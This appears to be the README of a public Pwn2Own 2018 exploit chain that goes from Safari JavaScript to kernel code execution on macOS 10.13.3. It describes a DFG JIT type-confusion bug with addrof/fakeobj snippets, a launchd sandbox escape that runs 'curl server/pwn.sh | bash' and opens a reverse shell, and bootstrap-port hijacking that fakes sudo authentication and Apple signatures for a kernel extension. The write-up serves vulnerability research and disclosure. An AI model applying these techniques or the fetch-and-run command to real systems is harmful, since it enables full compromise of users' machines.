saelo / pwn2own2018
- суббота, 10 ноября 2018 г. в 00:15:55
C
A Pwn2Own exploit chain
Safari RCE, sandbox escape, and LPE to kernel for macOS 10.13.3.
Install nasm and tornado:
brew install nasm
pip3 install tornado
Check config.py if you want to change the host or ports. Afterwards start the
server with ./server.py
and navigate to the shown URL.
This exploit chain uses three different bugs to go from JavaScript code running inside Safari to kernel-mode code execution:
The exploit chain is implemented in six stages, each located in its own subdirectory:
Every subdirectory (with the exception of libspc/) contains a file named make.py which, when executed, performs any kind of build command necessary and creates a list of files to be served by the webserver.
Goal: achieve shellcode execution inside the sandboxed WebContent process
Bug exploited: incorrect optimization in the DFG JIT compiler
See also this BlackHat talk
The DFG JIT compiler represents JavaScript code in its own intermediate
representation (IR), the Data Flow Graph (DFG). Typically, one JavaScript expression
will be translated to one or multiple IR instructions in this graph. In the
case of a constructor function, the CreateThis
instruction is emitted and is
responsible for allocating the this
object that is constructed by the
function. As an example, the function function Consructor() {}
, when called
with new
, would roughly be translated to
v0 = CreateThis
return v0
Looking at the AbstractInterpreter, we can see that the DFG JIT compiler
assumes that the CreateThis
operation will not result in any side effects
besides a heap allocation. In fact, this code:
function Constructor(obj) {
return obj.x;
}
will roughly be translated to the following DFG instructions:
(Here, the StructureCheck
was moved to the beginning of the function by the
TypeCheckHoistingPhase
).
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
However, that assumption is invalid, as the slow-path code for CreateThis
can
execute arbitrary JavaScript code in some cases. In particular, by using a
Proxy around the actual function, the get
trap for the "prototype" property
will be called during the slow-path handler for CreateThis
as it needs to
fetch the prototype object for the constructed object:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
As such, it is now possible to modify the Structure of an object without the JIT compiler performing a bailout.
This bug can be used to construct addrof
and fakeobj
primitives as follows:
We compile the code for the case of a JSArray with unboxed double elements,
then, in the callback, transition to JSValue elements. Afterwards, the JIT code
will load a JSValue from the array, but treat those bits as a double and return
them to us. The following code will assign the address of leakme
to the
"address" property of the constructed object.
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
Here we essentially do it the other way around: we optimize code to store a
double to an array with unboxed double elements, then again transition to
JSValue elements in the callback. The code will continue to write our
controlled double in unboxed form to the backing storage. When we later access
that array element, it will treat those bits as a JSValue instead of a double.
The following code will write the unboxed double address
into the backing
buffer of a
which we can then read out as JSValue, allowing us to "inject"
JSValues of our choosing into the engine.
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
As such we end up with the ability to write a double and treat is as JSObject pointer and vice versa. This can be exploited as described in attacking javascript engines.
The exploit first achieves arbitrary process memory read/write by faking a Float64Array, then searches for the JIT region (mapped RWX) and writes the stage1 shellcode there.
Goal: bootstrap stage 2 by writing a .dylib to disk and loading it via dlopen()
A short assembly payload which essentially does the following:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR)
to obtain a path to a writable directorydlopen()
Goal: break out of the sandbox
Bug exploited: missing sandbox checks in launchd's "legacy_spawn" API
See also this talk
Launchd exposes the "legacy_spawn" RPC endpoint as routine 817 in subsystem 3.
This API fails to validate whether the caller should be allowed to spawn
processes and will just execve
any binary on the system for the caller with
controlled arguments. Since launchd is reachable through the bootstrap port,
this makes it possible to escape from the sandbox.
The exploit essentially runs curl server/pwn.sh | bash
and thus passes
control to stage3.
Goal: pop calc and bootstrap the remaining stages
This executes open /Applications/Calculator.app
and establishes a reverse
shell, then fetches all files required for the remaining stages and runs the
exploits.
Goal: gain root via a LPE exploit
Bug exploited: XNU bootstrap port MitM
See also this POC talk
In XNU, the task_set_special_port
API allows callers to overwrite their
bootstrap port, which is used to communicate with launchd. This port is
inherited across forks: child processes will use the same bootstrap port as the
parent. A security issue now arises if the child process is more privileged
than the parent, as is the case for example with sudo
(a setuid binary) or
kextutil
(having the "com.apple.rootless.kext-management" entitlement"). By
overwriting the bootstrap port and forking a child processes, we can now gain a
MitM position between our child and launchd (which our child expects to reach
when sending messages to the bootstrap port). The child process will ask
launchd to resolve various mach and XPC services. By resolving these services
to other ports controlled by us, we can also gain a MitM position with
arbitrary system services used by our child process. Exploitation then depends
on how those services are used by the attacked program.
To gain root we target the sudo
binary and intercept its communication with
opendirectoryd
, which is used by sudo
to verify credentials. We modify the
replies from opendirectoryd
to make it look like our password was valid.
It appears that there was an attempt to fix this problem since libxpc (which
performs the communication with launchd) verifies that the responses indeed
come from a uid=0 and pid=1 (== launchd) process. However, these checks are
insufficient. We can bypass them as follows to resolve opendirectoryd
to our
own port:
net.saelo.hax
) with launchd using the
bootstrap_register2
APIcom.apple.system.opendirectoryd.api
with net.saelo.hax
All that remains now (for a privilege escalation to root) is to forward the messages between opendirectoryd and sudo, but replace the authentication error reply with a success reply.
Goal: load a (self-signed) kernel extension
Bug exploited: XNU bootstrap port MitM
This exploits the same flaw as stage4, but this time targeting kextutil
. We
intercept the connection to com.apple.trustd
and spoof the certificate chain,
causing kextutil
to think that our self-signed kext is actually signed
directly by apple.
kextutil
proceeds roughly as follows when asked to load a .kext from disk:
trustd
to obtain the certificate chain and establish
whether the root certificate is trustedsyspolicyd
.
However, if syspolicyd
can not be reached, kextutil
simply proceedsThis enables the following attack to load self-signed kernel extensions:
com.apple.trustd
to our own servicetrustd
and reply with a hardcoded certificate chain
of an official apple .kextsyspolicyd
(e.g. by replacing
com.apple.security.syspolicy.kext
with net.saelo.lolno
in service lookup
requests to launchd)kextutil
will now load our kernel extension into the kernel.